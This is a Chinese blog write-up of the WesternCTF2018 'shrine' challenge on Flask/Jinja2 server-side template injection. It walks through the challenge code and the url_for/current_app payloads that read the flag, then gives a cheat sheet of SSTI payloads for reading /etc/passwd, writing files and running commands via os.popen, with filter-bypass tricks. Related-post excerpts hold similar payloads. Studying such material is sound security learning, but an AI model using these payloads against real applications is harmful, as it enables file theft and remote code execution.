flask之ssti [WesternCTF2018]shrine1

已于 2024-03-20 20:09:19 修改
阅读量1k 收藏 23
点赞数 20
文章标签： flask python 后端
于 2024-03-18 15:58:29 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_75178803/article/details/136727805
版权
本文详细剖析了Flask框架中两个路由的处理逻辑，展示了如何利用SSTI（服务器端模板注入）漏洞获取全局变量，如config和current_app中的flag。作者介绍了safe_jinja函数的黑名单机制，并展示了如何通过url_for、globals和魔术方法绕过过滤，执行命令或获取敏感信息。
摘要由CSDN通过智能技术生成

打开题目

 整理一下，代码:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()
           @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

    我们简单的代码审计一下

定义了两个路由 / 和 /shrine/，分别对应两个视图函数 index 和 shrine

  • index 视图函数：这个函数定义了一个路由 /，当用户访问该路由时，会读取文件内容

  • shrine 视图函数：这个函数定义了一个路由 /shrine/，它接受一个参数 shrine，内部函数 safe_jinja 对参数进行处理，并通过 flask.render_template_string 渲染模板。然而，safe_jinja 函数中的黑名单机制替换了括号

  • blacklist = ['config', 'self']：定义了名为 blacklist 的列表，其中包含了要在模板中禁止使用的变量名 'config' 和 'self'。

  • ['{{% set {}=None%}}'.format(c) for c in blacklist]：这部分代码使用了列表推导式，遍历 blacklist 中的每个元素 c，并生成一个格式化后的 Jinja2 模板语句 '{{% set {}=None%}}'，其中 {} 将会被替换为 blacklist 中的变量名。

  • ''.join(...)：使用 join 方法将列表中的所有模板语句连接成一个字符串。

  • + s：将生成的模板语句字符串与传入的参数 s 连接起来，以生成一个经过处理的字符串返回给调用者

我们用tplmap测试有没有ssti注入

./tplmap.py -u ‘xxxxxx’

发现回显没发现注入点

我们发现有两个路由，我们测试一下

存在ssti注入

我们的目的就是获取全局文本，current_app的config里面的flag

在python里，有许多内置函数，其中有一个 url_for ，其作用是给指定的函数构造 URL。配合globals()，该函数会以字典类型返回当前位置的全部全局变量。

payload:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{url_for.__globals__['current_app'].config}}

都能得到flag

知识点：

1.ssti的漏洞实质

  实质就是服务器端接受了用户的输入，没有经过过滤或者说过滤不严谨，将用户输入作为web应用模板的一部分，但是在进行编译渲染的过程中，执行了用户输入的恶意代码，造成信息泄露，代码执行，getshell等问题

2.flask的一些特性

flask有两种渲染方式，render_template() 和 render_template_string()。

render_template()是渲染文件的，render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符；

快速查找该引用对应的位置：

''.__class__.__mro__[2].__subclasses__().index(file)

文件读写：

''.__class__.__mro__[2].__subclasses__()[40]

//读取文件

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

将read()改为write()就可以进行写操作：

''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

 

命令执行
 

1.利用eval进行命令执行
 

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
 

 

2.利用commands实现命令执行
 

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}
 

 

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
 

 

 

直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果
 

 

flask之url_for函数
 

url_for()作用:
 (1)给指定的函数构造 URL。
 (2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹，在应用中使用 /static 即可访问。
 

更多见：flask之url_for()函数_flask url_for-CSDN博客
 

02_详解Flask中的URL ——url_for() 与 自定义动态路由过滤器-CSDN博客
 

 

flask之current_app
 

是Flask中的一个全局变量，代表当前运行的Flask应用实例
 

current_app的主要作用是在应用程序的不同部分中访问应用实例，以便获取应用配置、数据库连接和其他应用范围的对象
 

 

 

Flask特有的变量和函数
 

 
 
config
 
 
　　config 对象就是Flask的config对象，也就是 app.config 对象
 
 
 
 
request
 
 
　　Flask中代表当前请求的request对象
 
 
 
 
session
 
 
　　Flask的session对象
 
 
 
 
url_for()
 
 
　　url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
 
 
 
 
get_flashed_messages()
 
 
　　这个函数会返回之前在flask中通过flask()传入的消息的列表，flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中，再使用get_flashed_message()函数取出它们并消费掉
 

 

 

flask SSTI 题的基本思路
 

flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
 

  • __dict__：保存类实例或对象实例的属性变量键值对字典
  • __class__：返回调用的参数类型
  • __mro__：返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
  • __bases__：返回类型列表
  • __subclasses__：返回object的子类
  • __init__：类的初始化方法
  • __globals__：函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
 


  __base__ 和 __mro__ 都是用来寻找基类的。 

 

 

姿势集：
 

1.{{config}} 可以获取当前设置
 

如果题目是这样的：
 


  app.config ['FLAG'] = os.environ.pop（'FLAG'） 

 

可以直接访问 {{config['FLAG']}} 或者 {{config.FLAG}} 得到 flag。
 

或者
 

 
 
{{self.__dict__._TemplateReference__context.config}}
 

 

同样可以找到 config。
 

2.  [ ] 和 ( )
 

 
 
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
 

 

3.url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等
 

如果上面提到的 config、self 不能使用，要获取配置信息，就必须从它的全局变量（访问配置 current_app 等）。
 

例如：
 

 
 
{{url_for.__globals__['current_app'].config.FLAG}}
 {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
 {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
 

 

4.一些关键字被过滤
 

  • base64编码绕过
 

用于__getattribute__使用实例访问属性时。
 

例如，过滤掉 __class__ 关键词
 

 
 
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
 

 

  • 字符串拼接绕过
 

 
 
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
 {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
 

 

更多见：CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎
 

 

 

参考wp：
 

攻防世界 shrine——模板注入绕过：过滤（），{% set %} 过滤config、self - FreeBuf网络安全行业门户
 

[WesternCTF2018]shrine 1-CSDN博客
 

 

知识点参考文章：
 

Python Flask 基础入门第六课： Flask 全局变量 current_app, g 以及 session各自如何使用 有什么差异-CSDN博客
 

flask之url_for()函数_flask url_for-CSDN博客
 

关于flask的SSTI注入[通俗易懂]-腾讯云开发者社区-腾讯云
 

flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客

                

        

        

    




    

      

        

            

              
                
                  访白鹿
                
              
            

            

                关注
              
            

        

        

          
    
            
  • 
              
                
                
                
                
                    20
                
              
              
    点赞
    
            
    • 
            
  • 
              
                
                
                
              
              
    踩
    
            
    • 
            
  • 
              
                
                
                
                
                    23
                
              
              
    
                
    
                  
                    收藏
                  
                
    
              
    
              
    
                
    
                  觉得还不错?
                  
                    一键收藏
                  
                 
                
    
              
    
            
    • 
          
  • 
            
    
              
              
            
    
              
              
              
                    0
              
            
            
    评论
    
          
    • 
          
  • 
          
    • 
          
  • 
            
              
            
              
    
            
              
                
            
    
          
    • 
        

      

      










                



	

		

			

				
					
[WesternCTF2018]shrine 1(flask)

				
			

			

				

					weixin_45577185的博客
				

				

					09-10
					
					250
					
				

			

		

		

			
				
非常完美的答案
分析源码
app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config，猜测这就是flag，如果没有过滤可以直接{{config}}即可查看所有app.config内容，但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面这行代码把黑名单的东西遍历并设为空，例如：

			
		

	



                

              
                



	

		

			

				
					
[WesternCTF2018]shrine 1

				
			

			

				

					shinygod的博客
				

				

					03-21
					
					1525
					
				

			

		

		

			
				
知识点：flask的ssti

把它排一下（可以在pycharm按ctrl+alt+L然后再调调就好了）

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#使不知道哪的FLAG赋值给当前app的配置变量FLAG
#应该需要我们拿到config的FLAG值
@app.route('/')

def index():
    return open(__file__)

			
		

	



                


  
              

                


	

		

			

				
					
【Real】[Flask]SSTI

					
最新发布

				
			

			

				

					欢迎来到我的学习笔记薄
				

				

					05-28
					
					1203
					
				

			

		

		

			
				
温馨提示：看到哪里不懂直接跳到知识点部分，理解完再回到解题过程。

			
		

	





	

		

			

				
					
WesternCTF2018_shrine

				
			

			

				

					抒情诗
				

				

					05-08
					
					450
					
				

			

		

		

			
				
这个想了半天没啥思路，直接查别人的wp，贴地址:https://blog.csdn.net/qq_42812036/article/details/104324923

0x00
开始的页面猛一看乱七八糟，原来查源码会把它排一下版，感觉挺实用，记下来。。。看到flask就差不多能想到python模板注入了。以下是代码:
import flask
import os

app = flask.Fla...

			
		

	



		

			
		



	

		

			

				
					
[WesternCTF2018]shrine

				
			

			

				

					qq_43801002的博客
				

				

					07-31
					
					1939
					
				

			

		

		

			
				
题目

过程
1.使用tplmap,发现有ssti注入
./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
2.题目源码：
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).re

			
		

	





	

		

			

				
					
ssti-payload：SSTI有效载荷生成器

				
			

			

				

					02-06
				

			

		

		

			
				
SSTI有效载荷发生器 该生成器是针对特定类型的Java SSTI的，其受以下启发：  ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)....

			
		

	





	

		

			

				
					
fenjing工具，ssti

				
			

			

				

					12-17
				

			

		

		

			
				
标题中的“fenjing工具，ssti”指的是Fenjing，一个可能用于安全测试或Web应用漏洞扫描的工具，而“ssti”则是Server-Side Template Injection（服务器端模板注入）的缩写，这是一种常见的Web应用程序安全漏洞。...

			
		

	





	

		

			

				
					
SSTI

				
			

			

				

					03-09
				

			

		

		

			
				
**SSTI（Server-Side Template Injection）**是一种严重的网络安全漏洞，主要出现在使用服务器端模板引擎的Web应用程序中。这种漏洞允许攻击者注入恶意代码到服务器端模板，从而执行任意服务器端代码，获取敏感信息...

			
		

	





	

		

			

				
					
flaskssti：测试SSTI

				
			

			

				

					02-21
				

			

		

		

			
				
标题中的“flaskssti”指的是一个与Python web框架Flask相关的项目，可能是一个扩展或教程，专注于“SSTI”（Server-Side Template Injection，服务器端模板注入）。SSTI是一种安全漏洞，允许攻击者通过操纵模板引擎...

			
		

	





	

		

			

				
					
gentlexue#POC-3#Apache OfBiz 服务器端模板注入（SSTI）1

				
			

			

				

					07-25
				

			

		

		

			
				
Apache OfBiz 服务器端模板注入（SSTI）Apache OfBiz 17.12.01容易受到服务器端模板注入（SSTI）的影响，从而导致远程代码执行

			
		

	





	

		

			

				
					
Flask SSTI漏洞介绍及利用

				
			

			

				

					JCPS_Y的博客
				

				

					10-23
					
					2647
					
				

			

		

		

			
				
Flask SSTI漏洞介绍及利用

			
		

	





	

		

			

				
					
基于SSTI模块注入的常用payload总结

				
			

			

				

					Welcome To Myon'Blog !
				

				

					07-05
					
					903
					
				

			

		

		

			
				
一、查找函数位置，利用函数实现

1、利用file函数进行读取

2、利用内嵌函数eval进行命令执行

3、利用linecache函数进行命令执行

二、查找类的位置，利用类下的函数实现

1、利用_frozen_importlib_external.FileLoader类

2、利用importlib类进行命令执行

3、利用subprocess.Popen类进行命令执行

三、利用os模块进行命令执行

1、利用config

2、利用url_for

3、利用子类的os模块

四、关于其他的利用



			
		

	





	

		

			

				
					
[Western CTF 2018]shrine

				
			

			

				

					weixin_45751765的博客
				

				

					02-16
					
					1415
					
				

			

		

		

			
				
0x00 前言
ssti复习
贴一下源码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def s

			
		

	





	

		

			

				
					
第五十三题——[WesternCTF2018]shrine

				
			

			

				

					分享简单的安全技术
				

				

					04-29
					
					255
					
				

			

		

		

			
				
题目地址：https://buuoj.cn/challenges
解题思路
第一步：进入题目，看到源码
import flask 
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index(): 
	return open(__file__).read() 
@app.route('/shrine/<path:shrine>')


			
		

	





	

		

			

				
					
bugkuctfweb题解simple_ssti_1

				
			

			

				

					06-28
				

			

		

		

			
				
### 回答1：
simple_ssti_1 是一个使用 Flask 框架编写的 web CTF 题目，主要涉及到服务器端模板注入 (Server-Side Template Injection, SSTI) 的问题。

这个题目中，使用者可以在输入框中输入任意字符串，然后后端会将这个字符串嵌入到一个 Flask 模板中，并将渲染后的页面返回给用户。攻击者可以在输入框中输入包含 SSTI 代码的字符串，从而在服务器上执行任意代码。

为了解决这个问题，可以使用 Flask 的 Jinja2 模板引擎提供的 safe 过滤器来过滤用户输入，防止用户输入的字符串被作为代码执行。或者在编写模板时，尽量避免使用可执行的表达式，而是将变量放在 HTML 标签中输出。

这个题目是一个很好的 SSTI 注入练习题目，可以帮助我们了解 SSTI 注入的危害和防御方法。   

### 回答2：
Simple_ssti_1是BugsKiller CTF比赛中的一道Web题目，考察的知识点是SSTI(Server-Side Template Injection)模板注入，需要寻找漏洞点并利用SSTI漏洞构造payload，达到读取/执行任意代码的目的。

首先，我们下载题目附件simple_ssti_1.zip，获得题目源代码及相关文件。查看代码，发现以下几点：

1. 程序的入口是index.php文件，包含了一个GET参数tpl，可控注入的点在这里。

2. 向模板文件simple_ssti_1_template.html中传入tpl参数，在该文件中执行了{{tpl}}操作，将tpl参数进行了模板渲染。

3. SSTI的注入点在于，如果我们的攻击payload中包含了一些特殊模板语法的操作符，如{{3*3}}、{{config}}等，这些操作符会被解析器自动执行，导致代码注入进去。

从上述代码的分析可知，我们首先需要构造包含有SSTI操作符的payload才能进行下一步的SSTI构造。继续观察代码，我们发现一个{{config}}变量被渲染在了simple_ssti_1_template.html的头部中，我们可以通过注入payload来构造一个同名的config变量，从而读取根目录的敏感文件/flag.php。

构造payload : {{config.__class__.__init__.__globals__['os'].popen('cat flag.php').read()}}

这个SSTI注入的payload实现了直接运行命令cat flag.php然后读取文件的操作。注入的{{config}}变量实际上是一个自定义的config字典，含有很多内置函数，比如__class__.__init__.__globals__，它的作用是获取全局变量__builtins__，然后通过这个全局字典来获取os模块，之后就可以使用os模块的popen函数运行cat命令来获取flag.php文件内容了。

最终的payload为： ?tpl={{config.__class__.__init__.__globals__['os'].popen('cat /flag.php').read()}} 

再通过浏览器发送带有payload的GET请求，就可以读取/root/flag.php中的flag了。   

### 回答3：
简单SSTI 1是一道基于SSTI漏洞的Web安全挑战题目，该题的难度属于初级。本题需要掌握一定的SSTI漏洞的相关知识和技巧，以及对模板中的变量注入点的识别和利用能力。

首先，我们尝试在输入框中输入简单的Python表达式，例如{{2+2}}，并提交请求，发现得到的响应结果为4，表明该网站存在SSTI漏洞。接着，我们可以构造一些特殊的表达式进行测试，例如{{123456789}}, {{2**100}}, {{'hello ' + 'world'}}, 发现均能得到正确的响应结果。

接着我们需要进行变量注入点的识别和利用，这里，我们可以通过利用flask框架中的特殊变量，例如request、g等来实现变量注入，例如{{config}}，可以获得flask的配置信息，{{request}}可以获得当前请求的一些信息。需要注意的是，在实战中，这些利用方式可能会受到服务器的限制，无法完全实现。

最后，我们需要尝试获取敏感信息或者升级我们的权限，例如{{''.__class__.mro()[1].__subclasses__()[71]('/etc/passwd').read()}}，可以获取到服务器上/etc/passwd文件的内容。

总之，简单的SSTI漏洞需要熟练掌握SSTI漏洞的相关知识和技巧，识别变量注入点并利用它们获取敏感信息和升级权限，可以通过CTF题目学习，提高自己的Web安全攻防能力。

			
		

	



              



  
“相关推荐”对你有帮助么？

  

      
    
          
  • 
              
    
                  
                  
              
    
              
    非常没帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    没帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    一般
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    有帮助
    
          
    • 
          
  • 
              
    
                  
                  
              
    
              
    非常有帮助
    
          
    • 
      

      

      

          
          提交
      

      

  




          




        



    





    



      

      

        
      

      





	

		评论	
	

	
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值